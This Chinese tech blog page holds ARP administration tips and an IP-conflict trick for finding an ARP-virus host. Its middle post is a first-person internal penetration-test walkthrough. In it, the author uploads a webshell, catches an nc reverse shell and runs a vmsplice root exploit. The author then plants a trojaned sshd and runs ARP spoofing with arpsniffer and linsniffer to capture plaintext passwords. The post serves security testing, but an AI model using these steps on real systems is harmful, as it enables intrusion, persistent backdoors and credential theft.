正在加载...
分页: 1/1 第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]
[root@test root]# ping www.163.com
connect: No buffer space available

内核维护的arp表过于庞大, 发生抖动, 因此导致了这种情况
几个内核ARP参数:
=================================
gc_stale_time
决定检查一次相邻层记录的有效性的周期。当相邻层记录失效时,将在给它发送数据前,再解析一次。缺省值是60秒。
gc_thresh1
存在于ARP高速缓存中的最少层数,如果少于这个数,垃圾收集器将不会运行。缺省值是128。
gc_thresh2
保存在 ARP 高速缓存中的最多的记录软限制。垃圾收集器在开始收集前,允许记录数超过这个数字 5 秒。缺省值是 512。
gc_thresh3
保存在 ARP 高速缓存中的最多记录的硬限制,一旦高速缓存中的数目高于此,垃圾收集器将马上运行。缺省值是1024。
================================
Tags: , , ,

Linux 绑定ARP

[ 2009/02/14 14:42 | by selboo ]
假如 192.168.1.1 是我的网关

[root@localhost ~]# ping 192.168.1.1

[root@localhost ~]# arp
Address                     HWtype  HWaddress               Flags Mask            Iface
192.168.1.1              ether      00:19:E0:F4:30:2A     C                        eth0

网关的MAC   00:19:E0:F4:30:2A
Flags Mask    C   (表示为静态)

[root@localhost ~]# echo "192.168.1.1 00:19:E0:F4:30:2A" >/etc/ethers

把网关IP和MAC地址写入到 /etc/ethers

[root@localhost ~]# arp -f

[root@localhost ~]# arp
Address                     HWtype  HWaddress               Flags Mask            Iface
192.168.1.1              ether      00:19:E0:F4:30:2A     CM                      eth0

Flags Mask为 CM (静态网关 表示绑定成功)

如果可以的话最好是做双向绑定
Tags: ,
来源:中国安全网
作者:vitter
blog:blog.securitycn.net

早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。

首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。

经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1

点击在新窗口中浏览此图片

利用tools里面的反弹连接:
首先在本地用nc -l -p 5546监听端口
如图2

点击在新窗口中浏览此图片

然后在nst上点Back connect
如图3(注意红色部分)

点击在新窗口中浏览此图片

成功登陆,
如图4

点击在新窗口中浏览此图片

图5

点击在新窗口中浏览此图片

在本地nc的窗口操作:

id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
如图6:(注意红色部分,上传成功)

点击在新窗口中浏览此图片

回到nc窗口:
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

gcc -o in in.c

ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#

已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。

擦擦pp,进行下一步我们的重点。

我们还是直接用后门sshd登录。还是ssh舒服点:)
如图7:

点击在新窗口中浏览此图片

在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。

[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install

准备工作已经ok。下面重新编译arpsniffer.c

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59

Now Start... .. .

在另一个登录里面用tcpdump监听下:

[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。如图8:

点击在新窗口中浏览此图片

经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。







Tags: , ,
    对网络管理员或用户来说,发生“IP地址冲突”是不受欢迎的事情,因为在一个网络中,每个主机(严格来说是网络接口)都应该有唯一的一个IP地址,如果出现2个或两个以上主机使用相同的IP地址,这些使用相同IP地址的主机屏幕会弹出对话框报告IP地址冲突(如下图):

点击在新窗口中浏览此图片

    这将导致这些使用相同IP的机器不能正常访问网络。但是,前几天笔者却用这个有如鸡肋的功能帮了一个大忙。是怎么一回事呢?听我慢慢道来。

    本月12号那天,我被派到月坛大厦的客服部门处理网路故障。经初步诊断,发现网络时断时续,重启网关的话,能够正常好一会,过一段时间后就不灵了。这是一个十分简单的网络:一条外网网线进来,接入一台运行FreeBSD的网关(做NAT用),网关机的另外一个网络接口接交换机,客户端全部接2个在交换机上,同时,网关机提供DHCP服务,所有的客户机使用DHCP自动获取IP。首先,我得确定故障发生在那里;重启网关,发现客户机能正常上网,但网关马上提示DHCP请求超时的报警,除此而外看不出什么端倪,去客户端查IP,发现获取的IP地址正常,于是又怀疑是不是交换机有问题,等一会,发现故障又出现了,重启一下交换机,网络又正常了问题到底在哪里呢?一下犯晕了。

    整理了一下思路,然后找了一台客户机(客户机全是windows),先ping一下网关,发现居然ping不通,ping网内的另外一台机器则正常,重启网关再用客户机ping 网关则正常,毫无疑问,网络中了ARP欺骗病毒了。进系统目录,发现c:下有几个异常的文件,该名某个文件,居然不让操作,运行命令 arp –a 发现多行arp请求,看来是病毒引起的网络堵塞故障。不能把所有的机器都与网络段掉,当务之急是先找出当前正在作崇的主机然后隔离处理。

    怎么辨别是网络中那台主机中毒厉害呢?网上已经有很多不错的办法。有人建议用抓包工具,然后分析抓到的包信息来确认中毒的主机,然而我手里没有任何抓包工具,看来只好自己想招了。经过摸索,总结了下面一些行之有效的办法,供大家参考!

    在客户机运行路由跟踪命令如 tracert –d www.163.com,马上就发现第一条不是网关机的内网ip,而是本网段内的另外一台机器的IP,再下一跳才是网关的内网IP;正常情况是路由跟踪执行后的输出第一条应该是默认网关地址,由此判定第一跳的那个非网关IP 地址的主机就是罪魁祸首。

    问题又出来了,由于网内的主机IP地址是通过DHCP自动获取来的,怎么找出这个主机又是一个难题,几十个机器,挨个用 ipconfig/all查非累死不可,怎么办?得走捷径才行。突然之间冒出一个念头:设置一个与查出来的中毒主机相同的IP地址,然后…..,接下来,找一台客户端机器,查一下其自动获取的IP地址,没有那么幸运-这台机器不是要揪出来的那个IP,然后把这个主机的”自动获取IP地址”取消,手动设置机器的IP与有病毒的那个IP相同,设置生效后就听见一个妹妹嚷道:“我的IP地址怎么跟别人冲突了呢?”,殊不知,我要找的就是你呢!把妹妹的主机隔离网络,其他的机器上网立马就顺畅了。

    处理arp病毒的操作我想大家都应该有经验了,在这里就不再多罗嗦。

    简单总结一下,其主要步骤有两步:1、运行 tracert –d www.163.com 找出作崇的主机IP地址。 2、设置与作崇主机相同的IP,然后造成IP地址冲突,使中毒主机报警然后找到这个主机。
Tags:
分页: 1/1 第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]